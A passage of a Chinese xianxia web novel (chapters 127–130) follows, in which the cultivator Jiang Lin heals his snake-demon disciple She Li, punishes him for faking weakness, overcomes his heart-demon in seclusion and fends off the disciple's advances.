可就在这时,一只黑色的小蛇从他的花圃中钻出来,趴在他脚边要死不活、奄奄一息,身上的蛇鳞大片被灼烧殆尽,没有几块好皮,尾巴也断了一截,身形都只剩下拇指粗细,怎么一个惨字了得。 江林弯腰查看他的情况,佘离气息微弱,似拼尽最后一丝力气爬回来的,这伤势可比他剔他妖骨禁术时重多了,是想要了佘离的命。 他抓起蛇身,用灵力帮他蕴养妖丹,用神识一查看,却发现连佘离的妖丹都裂开了几条缝隙。 江林拧了拧眉,剧情走向不应该是佘离和江船狼狈为奸,他去收服逆徒吗? 赵天肃来找他,也看见了他手中的小黑蛇,低声问:“这是二师弟,他怎么了?” 江林手中的小黑蛇虚虚地用那条被斩断半截的尾巴缠住师尊的半截手指,卖惨似的蹭了蹭。 “无事。”江林看向赵天肃,道:“走吧。” 龙山仙址他是玉溯宗的领队长老,需要和其他长老一起维持结界的稳定,保证弟子们能够顺利进出,所以他传信给掌门师兄,让他帮忙去处理红莲堂的事儿。 第127章 龙山仙址并没有在玉溯宗附近, 而需要传送阵抵达龙山仙址附近,火山休眠底下是鼓动的岩浆,散发着浓浓的灼烧气焰。 旁边便有焦黑喷发的山石, 传说此处曾经是龙族栖息地,如今龙族早就消失在修真界千年, 但龙族传承一直都是修士们趋之若鹜的东西。 而此次江林的龙傲天大徒弟不光会获得龙族传承,甚至意外洗涤血脉,换成了是龙血, 还拿到了一颗龙蛋,最后孵化出了一只小金龙为契约兽。 占尽了天时地利人和。 江林和各大门派修士聚在一起, 闪烁的结界灵气在迅速流失,而旁边筑起了阵法,维持结界的稳定。 像这种传承类的遗址,如江林这般早有自己传承和修炼功法的高阶修士并不眼馋,所以更多的是保护自家弟子能够得到传承。 玉溯宗来了三个长老,一个化神期修为, 其他两个都是元婴, 轮番给阵法和结界输送灵力。 江林暂时没空管手上的佘离, 只是保证他活着,他乖乖待在他袖袍中, 蛇身缠着他的手腕, 冰凉的鳞片在肌肤上留下一点奇怪的感觉。 一天一夜,龙山仙址的结界移动,阵形变化, 江林便暂时闲下来,恢复了灵力后,他们也不能离开太远, 防止途中生出变故。 这处的仙址可是废了九牛二虎之力挖出来的,没人希望会出意外。 江林落在百里远的村落,此处的村民已经全部离开,他一个瞬移也能赶到结界附近,随意找了一处休息的屋舍,布下隔绝阵法,才拿出依旧奄奄一息的小蛇。 他身上没了妖族的气息,仿佛一条普通的小黑蛇,身上灵力散尽,妖力也微乎其微。 “怎么落得这么个狼狈的下场?”江林捏了捏他的蛇身,眉头蹙着,冰冷的眉眼看着像是嫌弃。 佘离委屈但没办法说话,明明认真帮师尊办事,还要惨遭嫌弃,只觉得蛇生无望。 如今他伤势太重,伤了妖丹,只怕就算重新修炼也无法重回巅峰,一生也难以在攀高峰,更加觉得悲从中来,趴在江林掌心装死,动都不想动了。 江林见他无精打采便也猜到了他心中所想,按了按他的蛇脑袋,低声道:“别卖惨装死。” “”佘离乖乖蹭了蹭他的手指头,露出一点猩红分叉的舌头,懂人性地点了点头,望着他清冷如谪仙般的师尊,突然又觉得自己有救了,师尊很厉害的。 “你遇见了什么?”江林下意识地问,忽视了现在他是一条不会说话的蛇。 佘离便抬起尾巴在空中画了一圈,又爬到旁边装死,发出嘶嘶的声音,蛇舞蛇蹈,一蛇分饰多角,最后累瘫在江林手心,最后抬眼看向江林,意思在说:你知道了吗师尊? 完全没看懂的江林,唇角轻轻抽搐一瞬,回答:“你到了红莲镇发现罪魁祸首是江船?” 佘离一激灵,连忙点了点头。 江林扫了他一眼,继续道:“你这伤是江船害的?” 佘离思索了一瞬,点头又摇头,一下又趴在他掌心不愿意动弹了,似乎有些心灰意冷,连江船都打不过,他不配做师尊的弟子。 江林也没成为暖心师尊安慰徒弟受伤的心灵,双指间灵力汇聚,轻轻拂过蛇身,给他疗伤,他大概猜到了什么,但无从佐证,还需要更多的时间。 “伤及妖丹,需要回到清心殿才能修复。”江林望着小蛇,想着该怎么处置他,他没有妖宠,所以没有专门供妖兽待的储物袋。 佘离似乎察觉到他的想法,顺着他的手腕钻了进去,盘在他手臂上,仿佛一个黑色的臂环,无比契合江林的手臂,小黑蛇逐渐虚弱,陷入了休眠。 /// 在仙址内的赵天肃成功获得了龙族传承,额间闪烁着金印,脑海中响起一道古老的声音,似乎远古的沉吟:“传承龙族血脉,便需要复兴龙族,杀死千年前覆灭龙族的白鹭一族” 赵天肃抱着怀中的龙蛋,自然毕恭毕敬地应承,低声道:“白鹭一族早在千年前也销声匿迹,可能早就羽化。” “不,白鹭人族血脉仍旧存在,吾能感觉到他们身上难闻的气息。”那道声音越来越远,越来越轻,“你身上的龙族血脉会给你指引,届时不要留手,这是你继承吾族血脉的责任。” 赵天肃得到传承,自然逃不开同门修士截杀,忍辱负重,突破金丹,他反杀了所有知道真相的人,结界突然出现在天空,划破一道裂空,想来应该是传承被拿走,龙山遗址要彻底消失了。 结界闪动,一个个修士从里面冒出来,赵天肃找到师尊的气息,却感觉到一丝不对劲,那种从心底冒出的厌恶感觉,仿佛感知到了自己最讨厌的人。 赵天肃大惊,所以那道声音说的白鹭人族血脉是师尊? 江林也瞧见了赵天肃,在原本的剧情中,赵天肃获得传承,修为一日千里,不过几十年修为便全面超过了他。 在金丹后期,原主就打不过他了。 而这次龙山仙址之行后,赵天肃也越发和他疏远,获得了更优秀的传承,更加不需要他的教导和功法。 江林冷淡扫了一眼犹豫的赵天肃,转身离开火山,率先回到玉溯宗。赵天肃原本还在震惊犹豫,但见师尊离开后,他顿时一慌,脑海中闪过江林冰冷的脸,警告他尊师重道,爱护同门,不要生出二心 赵天肃追到江林刚刚离开的地方,面露焦急之色,但师尊已经不见了,他只能跟着同门乘坐传送阵回来。 朱子澄正在练剑,看见一道白光闪过,他擦了擦汗,脸上冒出惊喜的神色,冲到清心殿,看着那道白色的身影,毕恭毕敬地说道:“师尊回来啦?” 这次师尊和师兄们去了半年,他一个人在清心峰可无聊了。 江林瞧着每次都扬着一张笑脸来找他的小徒弟,眼神微微一顿,看着那张年轻朝气的脸,语气依旧平淡:“下次带着你一块去。” 朱子澄顿时弯了弯唇:“好,多谢师尊。” 朱子澄见师尊脸色冷淡,便也不继续叨扰,主动离开,恰好撞见匆匆赶来的师兄,他拱手乖巧喊道:“师兄?” 赵天肃一个眼神都没递给他,朝着师尊的清心殿走去,一阵风似的卷起他的衣摆。 江林准备唤醒沉睡的佘离,在察觉到赵天肃的气息后,他顿住了动作。 “师尊,您休息了吗?”赵天肃的声音在门外响起,中气十足。 江林没出声,只是用灵力打开门,让他进来。 赵天肃甩开下摆,朝着江林跪了下去,双手奉上自己在龙山遗址获得的龙骨和龙蛋,低声道:“我知师尊本命剑与魔族大战时受损,一直没找到合适的材料修复,龙骨坚硬无比,正是铸剑的好材料师尊从前也没有契约灵兽,不知道金龙您喜不喜欢?” 江林很轻的挑了下眉,突然便豁然开朗了,该死的主神虽然不知道他现在藏在哪个角落,但他的记忆和剧情被他改了,不论是佘离还是赵天肃都给他一种熟悉的感觉。 这具身体不似从前世界的陌生,有一种灵活的熟悉感,他原本还只是怀疑,现在却得到了证明。 清树真君就是他自己的身体,系统告诉过他主神想要入世,就需要江林用本体,而主神也必须是本体。 从前他不敢冒险,现在却被江林逼得不得不冒险,主神其他的切片越来越有自己的自主意识,他们企图反叛主神,且对江林情根深种,答应主神重新融合的唯一条件是得到江林。 赵天肃早就管不了什么金龙和白鹭的恩怨,那关他和师尊什么事儿? 传承都已经拿到手了,谁还管那些? “既然是你的机缘,便自己拿着吧。”江林语气难得软化了些,视线对上赵天肃直勾勾的眼神,从中看出了一缕熟悉灼人的神色。 尽管剧情有偏差,但赵天肃的感情似乎没有太多的变化,怨恨和爱欲交织,现在对江林的感情还不算明显,却也已经初见苗头。 “师尊嫌弃?”赵天肃抿了抿唇,被师尊拒绝不觉得庆幸,更多的是难受。 他的目光看着师尊漂亮寡淡的眉眼,只见那一向冷厉如冰的眉眼豁然弯了弯,露出如同冰山融化的笑容。 赵天肃敏感地感觉师尊对他敌意似乎变少了很多,从前那段时间,师尊看他们的眼神就像是拿着一把刀架在他们脖子上,似乎能随时砍掉他们的脑袋。 “你拼死抢来的机缘,我还能霸占了?”江林脸上所有的五官都显得冷淡白皙,只两瓣薄唇显得红而艳,唇角勾起,两种气质杂糅,明艳清冷,好看得不行。 赵天肃倏然心虚地低下头,依旧跪着,脑海中却闪过师尊那日月下的身体,某些邪念仿佛在心中生了根,怎么挖也挖不掉,喉结滚动一瞬,口舌干燥,后背猛地惊出一层细汗。 他怎么能大逆不道地肖想师尊? “我的一切都是师尊给的,没有您哪还有我今天的活?”赵天肃因为心虚,连说话都比平日更加谦卑几分。 江林抬手轻轻正了正他有些乱的发冠,微微弯腰看着他,衣袖拂过他的肩膀,赵天肃感觉到一丝淡淡的清香,像是三月的桃花。 “行了,心意我领了,你师弟伤势重,再耽搁下去,他的妖丹怕是再难痊愈了。”江林如同一阵风似的离开。 赵天肃低着脑袋,不敢抬头,手紧紧捏住那根带着骨刺的龙骨,上面还有复杂的龙纹,手心被骨刺刺出鲜血,金色龙纹沁血,越发灵动复杂。 第128章 段白师兄给他的红莲镇留给他的答复是“江船已死, 祭阵已除。” 他如今正在准备宗门内药峰长老的元婴大典,所以只让弟子来告知江林,邀请江林一起参加大典。 成婴后, 修士可以选择举办大典,彰显自己的实力, 也可以低调行事,江林就从未大操大办过。 江林对于这个结果早有预料,到底也是当了这么多年的主神, 若这么快地被发现,那就白干了。 江林对佘离有一分愧疚的, 先是剔除他妖骨上的禁文,让他修为大减,还未完全恢复实力,在明知江船修为高于佘离,有危险的情况下还是派他去了红莲堂,就是为了试探他。 如今佘离被伤成这样, 他的确也是有责任的。 重修妖丹没有那么简单, 佘离几乎被泡在发苦的药水中, 两眼一黑要被这药味熏死过去。 佘离倒是从未怪过江林,只是认为自己实力不济, 倒是非常感觉师尊尽心尽力地救他。 “过来, 佘离。”当江林拿着一盅药唤出他的名字的时候,佘离想装死,但还是慢吞吞地爬到桌上。 “”一人一蛇相看无言。 江林看了一眼药盅:“喝吧。” 佘离身体小, 却能吃远超身体大小数量的东西,一碗热乎乎的苦药喝完,黑蛇似乎吐了一下舌头, 像是要呕吐。 江林面无表情捏住他的嘴巴,“不准吐。” 佘离扭动着身躯,从他手指间逃开,重新爬上他的衣服,一开始只是规矩地待在江林的手臂和手腕几处,等江林熟悉身上这一抹凉意后。 他便试探地爬上了师尊的肩膀,有时候江林修炼时,还会钻进他的胸口,扒拉他的衣领。 江林对动物的防备心并没有人的强,所以只要佘离没有做出冒犯的行为和动作,他都没有阻止。 三年过去,佘离虽然妖丹裂缝如今已经修复得差不多,但佘离还是小黑蛇的状态,江林都怀疑自己是不是疏忽了哪里。 赵天肃如今已经成为玉溯宗大师兄,宗门五年一次的比试中,他单挑元婴以下修士,成为玉溯宗当之无愧的大师兄。 修真界中谁的修为高,谁就能被称之为师兄,而不是以年纪论长短。 赵天肃这三年都在巩固修为,他领着朱子澄来找师尊。 烈阳如火,浮云坠空,缓慢浮动的云,天边盘旋的白鹤,清心殿后院种着几株葡萄苗,结出饱满的葡萄,藤蔓爬满了木架。游廊蜿蜒,湖中的锦鲤成群游动着,湖光折射的烈阳。 江林正在葡萄架下乘凉假寐,旁边的弟子在熬药,热得满身汗,反观江林却显得无比清凉,飘飘欲仙之感,望着他,便会觉得身心坠入清凉的泉水中。 赵天肃脚步放轻,视线下意识地落在他锁骨上,上面是湖光折射出的白色光点,衬得师尊肌肤更加晶莹雪白,但犹为刺眼的是他胸口凸起的长条幅度,那条蛇的脑袋正枕在师尊锁骨旁! 赵天肃剑眉狠狠拧紧,形成一个川字,表情骤然变得严肃冷酷起来,而朱子澄则没了从前的活泼,静静地地看了一眼赵天肃和师尊,又垂下眼睛。 师尊这些年对他的关心远不如他两个师兄,所以是因为他修为太差了吧。 江林微微眯起双眼,抬手遮了遮光线,支起上半身,黑蛇睁开眼,扒在衣襟师尊衣襟上,竖着脑袋看着眼前的两人,高高扬起的脑袋显得极为骄傲。 赵天肃不屑他这般小人行径,抱拳拱手,视线和江林平视,不卑不亢地说道:“师尊,我和三师弟准备下山游历一番。” 江林闻言率先看向朱子澄,只见从前还有些婴儿肥的男生,如今已经全然褪去青涩,身高也与赵天肃一般高,身形逐渐成熟。 “你三师弟修为尚浅,若是下山,你身为师兄要多看顾几分。”江林没有阻止,倒是并不担心,他给两人赠送了两个储物袋,里面都是一些高阶符箓和高阶丹药等,也许在危机时候救他们一命。 “这是自然。”赵天肃点了点头,视线看向那个小蛇头,话锋一转,沉声问道:“师弟的伤势如何了?怎得还是这般模样?” 江林说到这事,便露出几分苦恼和不解之色,“佘离妖丹已经修复,但不知道为何修为一直没有恢复,连最简单的化形都做不到。” 赵天肃双眸漆黑,沉沉扫了一眼佘离,佘离已经钻进江林的衣袍中,看得赵天肃眼神一冷,佘离这种冒犯师尊的行为,让他非常不齿。 “想来哪里出了问题为师没察觉到?我得再跑一趟御兽峰问问。”江林起身,捉出小蛇放在凉椅上,嘱咐旁边的弟子,“药熬好之后,监督师兄喝药。” 弟子只道好。 江林的气息消失,小黑蛇卷成一摊饼,懒懒散散准备睡觉。 赵天肃见状一股无名火从肺腑烧起来,冷声开口:“你还要装到什么时候?” 朱子澄惊讶地看看赵天肃,又看看石桌上的二师兄,默默地看戏。 佘离没理他,背对着他。 “欺骗师尊,不怕师尊反应过来怪罪吗?”赵天肃厉声质问。 佘离装作没听见。 赵天肃的无名火烧得更旺了,灵剑出,带着霸道的剑气,冷声道:“既然如此,我便替师尊收拾你这个逆徒。” 他根本没有给佘离犹豫的机会,话音落下,剑已经斩断石桌,剑气将石桌劈成了两半,发出爆裂的声响。 佘离安然无恙,直接化作人形,艳丽的眉眼扭曲起来,气急败坏地骂道:“你疯了吗?赵天肃?!不怕我告诉师尊你残害同门吗?” 赵天肃冷冷勾起唇,根本不与他说话,收起剑朝着不远处的转角回廊弯腰行礼:“师尊。” 佘离浑身一僵,根本不敢回头,脸上的愤怒变成了惊恐,只见说要去御兽峰的江林正面色冷淡地站在那处。 “佘离心思不正,欺师骗祖,实在不配为正道弟子。”赵天肃连忙告状,根本管不了什么师门情谊了。 江林语气依旧平静:“佘离是什么时候恢复修为的。” 佘离僵硬转身,朝着江林的方向跪下,脸色煞白,声音颤抖:“一年前” 他不敢继续撒谎,但说出来的事实更是让人火冒三丈。 佘离看见师尊白底纹着金文的白靴,心脏狠狠悬了起来,骤然感觉到脸上袭来一股掌风。 清脆的巴掌声响起,他闷哼一声。 江林抽出自己的软鞭,扔给赵天肃,语气不轻不重:“你来打。” 没说什么时候停。 佘离咬住唇,不敢反驳,心中却恨死了赵天肃这个多管闲事的人。 赵天肃接过软鞭,不卑不亢,不冷不淡,似乎刚刚所做一片真诚,毫无私心。 江林离开后,佘离被赵天肃抽打得半死,养了好几天才缓过神来。 /// “师弟,如今修真界太平无事,你也该好好闭关养伤,精进修为了。”段白这日来给他送炼制好的丹药,语重心长地说道。 江林修炼的时候也察觉到了一丝不对劲,他的修为停滞在几十年前,当时魔族猖獗来犯,虐杀修士以供修炼,修真门派联合起来驱逐魔族,而他在那场大战中被心魔所伤,心魔成瘴,本命法宝也断裂,难以重筑。 他之所以会收徒也是因为师兄劝他,将注意力从心魔上转移,不要钻了牛角尖。 但这么多年修为再没有一丝一毫的精进。 段白拿出一件法器,一个五彩斑斓的镜子:“此乃青山神君炼制的上品灵器,据说能有效地压制心魔,师弟给。” “师兄如此客气,那我恭敬不如从命了,若是有效,必当奉上重礼相谢。”江林微微颔首,面容冷峻,剧情全部发生在十多年后,他也准备闭长关。 “于师弟有用便好,师尊飞升时便嘱咐我们师兄弟二人要相互扶持帮助的。”段白爽朗一笑。 “好,师兄给我重宝,我也要寻一处洞府闭关了。”江林说。 段白起身,笑着说道:“恭候师弟的好消息。” 他离开之后,江林却坐着没动,低声呵斥道:“滚进来。” 佘离便从窗户外探出头来,轻轻唤了一声:“师尊。” 江林没作声,佘离便化作一道红光,跪在他脚边,抱住他的腿,求饶:“师尊您别生我气好不好,要杀要剐都是徒儿的错,您别扔下我不管” “佘离。”江林没动手继续揍他,只是低着头,冷静地唤他:“你可记得我们是师徒?” 佘离咬破了舌尖,他不似赵天肃还不懂自己的心思,他一直都明白,他爱慕师尊,从前喜欢,如今更甚。 “师徒乱/伦是要遭天谴的。”江林说,一日为师终身为父,和父乱/伦可不是要遭天谴? 而且现在修真界可不兴师徒恋,师尊于徒弟来说是跨不过的大山。 佘离紧紧抱着他的小腿,猛地仰起脸,看向江林:“若是师尊愿意,我宁愿自毁修为,不做师尊的徒弟。” “你说什么?”江林黑眸冰冷,语气也沉了沉:“你怎么不早说,我也不必大费周章帮你疗伤了啊。” “既然如此,我便成全你,从此别再踏进玉溯宗半步。” 江林似乎很失望,抬脚踹开他,掐着他的脖子准备将人扔出去。 佘离抱住江林的手臂,心中一慌,害怕真的就此被抛弃,连忙说道:“师尊,别丢下我,我可以我可以帮您渡心魔!” “我是玄蛇一族!能够助您屏蔽心魔,突破修为。” 这是玄蛇一族的隐秘,从前就是因为这一项好处,玄蛇被大肆抓捕,炼制成丹,克服心魔,效果极佳。玄蛇一族也几乎灭族,后来这件事被某宗门的大能压下去,明令禁止,才避免玄蛇消失在修真界。 如今玄蛇能克心魔这事儿,已经无人知晓了。 江林闻言动作一顿,佘离便抓紧机会,抱住江林的腰,手臂收紧,埋在他怀中,主动闷声道:“就算师尊将我炼成丹药也没关系。” 第129章 江林对以人入丹这种事情接受无能, 他扫开佘离的手,垂眼看着他,“不要再胡闹了, 佘离。” “没有胡闹。”佘离认真地看着他:“就算不炼成丹,我也能帮您的” “滚出去。”江林低声呵斥。 佘离对上江林冰冷的视线, 不敢再多言,咬唇离开,听见江林传音给他:“今天的话我只当没听过, 日后不要再暴露自己的身份了。” 佘离却没有放弃,跟着江林去了他闭关的洞府, 但是结界挡住了他的去路。 江林对佘离冷处理。 这处洞府内装潢得如同古代的别院般,舒适的床榻,窗棱恰好可以瞧见洞府外的天空,有一个凿开的天窗,四周布满了聚灵阵。他研究了一会师兄送的法镜,输入灵力后, 察觉灵台清明, 似有奇效, 便又信了几分。 江林用灵力在经脉运转大周天后,察觉到细微之处经脉堵塞, 灵台周围蒙着灰蒙蒙的雾气, 他猜想突破可能就需要从这些地方入手,默念法诀,功法运转, 冲击着经脉处的涩然,灵力从丹田汇聚,有轻微的撕扯感。 修真不知时光流转, 佘离守在洞府外两年,也没得到师尊的允许和原谅,洞外的杂草都是佘离清扫干净的,他亦没有落下修行,固执且一根筋。 又是一年,佘离突然睁开双眼,看向师尊闭关的洞府,里面传来灵力的波动,仿佛沸腾的热水,灵气开始往外涌,他忍不住蹙眉,唤了几声师尊,但无人回答。 他拧着眉掐诀,以自身的灵力抵挡师尊的结界之力,寻找薄弱的瞬间,破开一个小口,承受着经脉撕裂的痛楚破开阵法。 江林察觉到身体不对劲的时候,整个人已经失去自己的控制,他的意识被锁在一个封闭的空间内,底下慢慢燃烧起火焰,有一道天音在脑海中响起,诱导着他堕落。 “江林不要再继续挣扎了,成为我们,才能真的永生。” “你不是想知道那个可恶主神是谁吗?加入我们就能知道啦。” “那些觊觎你的东西都该死不是吗?” 江林没有理会这些声音,寻找着这熔炉般场所的破绽,额前冒出细密的汗珠,随着时间的流逝,底下的火焰越来越靠近他。 江林的眼前闪烁从前种种在小世界被迫害、被压迫、仿佛永远不能解脱的窒息感袭来,想要压着他堕落认输。 心魔让他对主神的仇恨到达峰值,意图蒙蔽他的心灵,抢夺身体的控制权。 佘离找到江林的时候,他正在打坐,倏然睁开双眼,原本漆黑的瞳孔泛着红光,佘离还来不及说话,江林便闪身到他跟前,掐住他的脖子。 佘离瞬间便被扼住了咽喉,那几乎拧断他喉骨的力道,眼前的师尊眉心冒着邪气,他抬手抓住他的手臂,说话声显得艰难:“师尊嗬不要。” 但是很明显江林根本听不见他的声音,佘离拿出自己的本命法器,朝着江林砸去,那是一条骨鞭,江林闪避他的攻击,抬手随意地将佘离砸在门上,门和他都直接往外倒去,佘离嘴中念着妖咒,吐出一口鲜血。 佘离根本不是江林的对手,显出原形后,以蛇尾缠住师尊,抬手想要施咒,下一瞬,手臂被师尊狠狠掰折了,骨头扭曲的清脆声响起,佘离痛呼一声,喉咙气管传来剧痛。 江林仿佛一个食人的魔族,试图咬断佘离的喉咙,场面有些惨烈,佘离忍痛念完咒语,以他的血为阵引,筑起的清心阵 江林恢复意识,掌握身体的瞬间,口鼻之间传来的浓烈血腥味让他几近呕吐,胃里一阵阵犯恶心,奄奄一息的佘离躺在他怀里,脖子上的伤如同刑侦片割喉般恐怖,他怔了怔,捂住他血流不止的喉咙。 “佘离?”江林催动灵力,看向痛得毫无血色的佘离。 “师尊,你清醒了吗?”佘离痛苦的呻吟,身上流出的血在地上之后被阵法吸收了,闪烁着微红的光芒。 江林给他疗伤续命,说不出风凉话和决绝话,便沉默地看着他。 佘离望着师尊冷峻的眉眼,就算不故作风流也依旧能勾得人蜂拥而至,气质清冷恍若明月,总有人想要把明月占为己有:“师尊,别赶我了好不好?” 若是江林再晚几秒醒来,佘离真的会被占据江林身体的心魔咬死。 江林见状,点了点头,低声应:“好。” 佘离唇角露出一个明媚的笑容,总算是让师尊心疼了,就算差点搭上他的命也是值得的。 /// 将佘离救回来,他便如登堂入室的情人,在江林给他疗伤的时候,故意和他十指相扣,江林没有扇他,他便更加明目张胆了。 佘离趴在江林腿边,脸色还是有些虚弱,“师尊,清魔阵需要以我的血为引,您放心修炼,我给你护法。” 江林抓住他的准备割破自己手腕的动作,视线很低地扫了他一眼:“你这一身血够坚持几天?” 修士突破一年半载都算少的。 佘离轻轻眨了眨眼睛,蹙了蹙眉:“那怎么办?” “”江林颇为头疼,第一次发现这也算是死局了,若是想要突破,最好的法子可能就是以佘离入丹,那便比这个阵法有效多了,这就是主神想要他做的。 主神想要佘离死在他手上。 江林早早有了猜测,若是这个身体是自己的,那么现在‘江林’的经历是不是也是自己曾经经历的? 这次可能并不是所谓的穿书,而是进入了他自己原来的世界,佘离几人都是自己的徒弟,主神将剧情窜改就是想要江林和自己三个徒儿反目,最好亲手杀死对方。 那么主神越想让他做的事情,他越不能做。 佘离见他沉默,又怕他翻脸不认人要赶走他,伸手抱住他的腰,死皮赖脸地说道:“师尊再赶我走,就直接杀了我吧。” 他脖子上深可见骨的痕迹还未完全消散,脸色如纸般苍白,看起来极为可怜。 “行了,松开,如此这般像什么样子?”江林冷了冷脸,扯了扯他的胳膊。 佘离命都可以不要,还怕他的冷脸?他将脸往师尊埋进腹部,动作没轻没重地蹭着,被江林提着胳膊扔了出去。 佘离没骨头似的抱着他的腿,咽了咽口水,仰着脸看着江林。 “师尊,还有一个办法?”佘离眼神有些期待又紧张。 江林居高临下低头看着他,眼神询问。 “师尊和我双修,也可破”佘离还没说完,直接被江林扔出去了。 这话是佘离胡诌的,一眼便被江林识破了。 江林在储物袋中寻找记载玄蛇的书籍,其中含糊其辞,有说以玄蛇肉烹之,则可灵台清净;也有说以玄蛇血肉为祭祀,便可修为精进;还有记载与玄蛇双修,修为可日进千里 这些传得玄乎其神,能信的也只有两三分。 佘离夜里又偷偷跑进师尊屋里,屋内没设结界,便是默许了他的行为。 他脸上的笑容止不住的灿烂,蛇脑袋放在江林胳膊上,看着上面的古文,轻声道:“师尊不必担心我,我们玄蛇还有一个本领那就是补血快,再严重的伤势,只要还有一口气在就不会死的” “我可以撑到师尊突破的。” 江林揉了揉眉心,眼皮有些酸涩疲惫,烛火摇曳,身后立起的蛇影显得恐怖巨大,要吞噬人般,但他只是亲昵地蹭了蹭师尊的脖颈。 “为师再自己试试。”江林面容平静,坚持道,这次他给自己也设下禁制,防止自己失控伤人。 佘离点头,消失在屋内,巨大的蛇身盘在屋檐上,为他护法。 江林进入了更加玄妙的境地,又是熟悉的场景,翻滚的熔炉,耳边不断响起的男女混杂的声音。这次江林没有反抗,他主动进入滚烫熔岩中,肌肤传来灼烧的感觉,浑身都感觉被打散后,重新组装起来,脑海的声音在他进入熔岩瞬间戛然而止。 主神以为他的性格永远不可能服输,所以打着一点点耗尽他灵力的盘算,最后再炼化他的骨头。 身旁的热变得越发温和,蕴养着受伤的经脉,画面一转,他变成第一个世界的小瞎子。 他任务的第一个世界是一个瘦弱的小瞎子,还是一个被人抛弃的乞儿,在受尽了折磨,成年后千辛万苦找到一份正常的工作。 他终于成为一个普通人后,又被自己的豪门父母找回去,紧接着刚刚窥见一丝幸福的江林面临着整个家族的蔑视和霸凌,所有人瞧不起他,哥哥性骚扰他,父母冷眼旁观,养子也是帮凶,而江林的任务是——开心地活着。 那是江林第一个任务世界,也是他阴影最深的一个世界,他的任务失败了。 “弟弟就是要给哥哥操的啊。”这句话恶心了江林很久,突然又像是坠落到那个冰冷的夜晚,江林眼前一片漆黑,耳边是男人的有些不稳的怒骂声。 那一次,江林大喊大叫引来了父母,父母却只责怪他,认为他带坏了他们的宝贝儿子。 这次,江林他藏在枕头里的水果刀,就算不能视物,也能直接刺进他的喉咙里,温热的血让江林兴奋起来,瞳孔微微放大,呼吸急促。 江林趴在男人耳边,低声道:“恶心的东西,不要以为你换了一层皮,我就不认识你了?” 江林恢复了视线,眼前又回到了熟悉的清心殿,眼前一个小小的人儿在师尊的教导下练习剑法,师尊慈祥的笑容映入眼帘,刚刚冒出头的桃树芽儿,屋檐上挂着的风铃响着。 师尊摸着小人儿的丸子头,笑着说道:“江儿是为师见过天赋最强的剑修” 江林望着那一老一小的人,莫名地觉得心酸,直到看见脸色青白的老头儿死在自己怀里,那颗眼泪终究是坠了下来。 第130章 画面变得模糊, 天花乱坠,最终回归于黑暗,黑暗且静谧, 四周仿佛都只剩下他一个人,那种沉默的孤寂感, 有无数双手抓着他往下坠。 江林盘腿打坐,静心沉气,灵力在经脉中运转, 灵台有丰盈的灵气充斥着,从地上爬出来的黑色粘稠的手抓着他的腿, 抱着他腰,撕扯着他的神经,他眉眼间带着金色灵气环绕,与那摊污染黑臭的东西无法同流合污。 就算江林整个人都被黑色粘稠物包裹,也没有影响到他半分。 耳边逐渐出现类似于钟声般有规律的声音,眼前的黑暗倏地变亮, 江林回到了熟悉的内屋, 灵台清净, 浑身的灵力犹如灵活的游龙在身体里充盈,一种极度舒适的感觉。 江林双手掐诀, 平息胸前那股汹涌的灵气, 他睁开冷静的双眼,终于除掉了所谓的心魔,重新突破了。 窗边的光线突然变暗, 一个巨大的蛇头探了出来,见他醒来,化作人形, 跑到他床边抱住他的小腿,脑袋放在他膝盖上,笑眯眯地说道:“恭喜师尊突破元婴中期,成仙成佛近在眼前。” 江林垂眼看见佘离手臂上的伤,便知道他背着自己依旧启动了阵法,只是轻轻摸了摸他的脑袋。 “师尊花了一年多的时间才突破呢。”佘离细数着:“灵力失控了十多次,徒儿差点被震飞出去,有大师兄通灵传讯来” 江林听了赵天肃的传讯,里面交代了朱子澄回了一趟凡间,意外得到了人皇的传承,两人现在去了西海,准备和散修联盟的几个修士探宝 佘离轻声道:“相比那些传承和宝物,我更喜欢待在师尊身边。” 江林的灵力窜入他的识海,探查他的修为,稍稍拧眉,抬手将人从自己腿上扒拉开:“你的修为毫无精进。” “”佘离这一年多关注江林的动静,自己修炼的确比较懈怠,况且耗费的精血太多,修为没倒退都算好的,“日后在师尊身边,我一定勤奋修炼,不落下功课。” 意外插曲之后,江林继续修炼巩固境界,佘离也安心在偏屋修炼。 不分春夏,不辨秋冬。山洞周围杂草丛生,树苗长得枝繁叶茂,旁边溪水潺潺。 佘离察觉到身体的异样,原本打算继续强压本能,犹豫几瞬之后,松开紧捏的手,他喘出一口热气,脸颊泛红,视线看向旁边师尊的屋舍,瞳孔闪过一丝幽暗的光。 江林凤眼睁开一条缝,清清冷冷的眸子看向窗边,佘离从窗户闪身进来,直接往他脚边跪,江林黛色的眉头微微蹙起,“什么时候养成了专走窗户的习惯?” 佘离嗅着江林身上清冷又浅淡的香味,用发烫的脸颊蹭了蹭他绸缎的衣料,冰凉的绸缎让他下意识反复蹭着,他闷闷哑哑的声音:“师尊救我。” 床榻上摆放着棋盘,那些是江林休憩时,自己和自己下棋解闷的,前面的圆桌前还摆放着茶壶,桌上也有瓷器和屏风为装饰。 江林拧眉朝佘离看起,捏着他的下巴,察觉到指尖传来滚烫的温度,佘离那张脸也红如炭火,佘离还在寻着他的手指嗅,想要伸出舌头凑过去舔,江林下意识甩了他一巴掌。 佘离被打之后,疼痛让他清醒两分,唇角被口水打湿。他跪在他脚边,抬头看着江林冷淡严肃的神情,似乎受到了冒犯。 高高在上的师尊,玉溯宗的清树真君,是出了名的高岭之花,清冷不可攀折,武力强悍不容欺负。 所以佘离不敢冒犯,只能卑微祈求师尊那一点点怜悯,他讨好地抓着师尊的衣角:“蛇族的发情期很难挨的,师尊,您疼疼我好不好?” 江林这才知道佘离这么失态的原因,表情有些诧异,从前佘离从没有展露过这一面。 “师尊,我好难受,你能摸摸我吗?”佘离抓着江林的手指,在他掌心蹭蹭,埋进他手心狠狠吸了一口。 “为师帮你用灵力压制”江林抽回自己的手,却因为佘离抓着他的力度太大,没能撤回。 “好”佘离嘴上应着好,但却动作迅速地拽下了师尊的腰带,衣衫微微散开。 “佘离。”江林警告的喊道。 佘离望着师尊的眼睛,抱着他的腰,“师尊,佘离大逆不道肖想师尊,夜不能寐,若不能得到师尊垂怜恨不得死,我” 看见江林冰冷的神情,他不敢再说下去,软了点语调:“这一次之后,徒儿保证改邪归正不再犯,只求您满足徒儿一次” “就一次” 江林察觉到一丝灵力的波动,他骤然视线扫过那面古朴的铜镜,上面印着两个模糊的人影,正是自己和佘离,佘离对着他冷酷的眼神不敢放肆,只敢苦苦哀求。 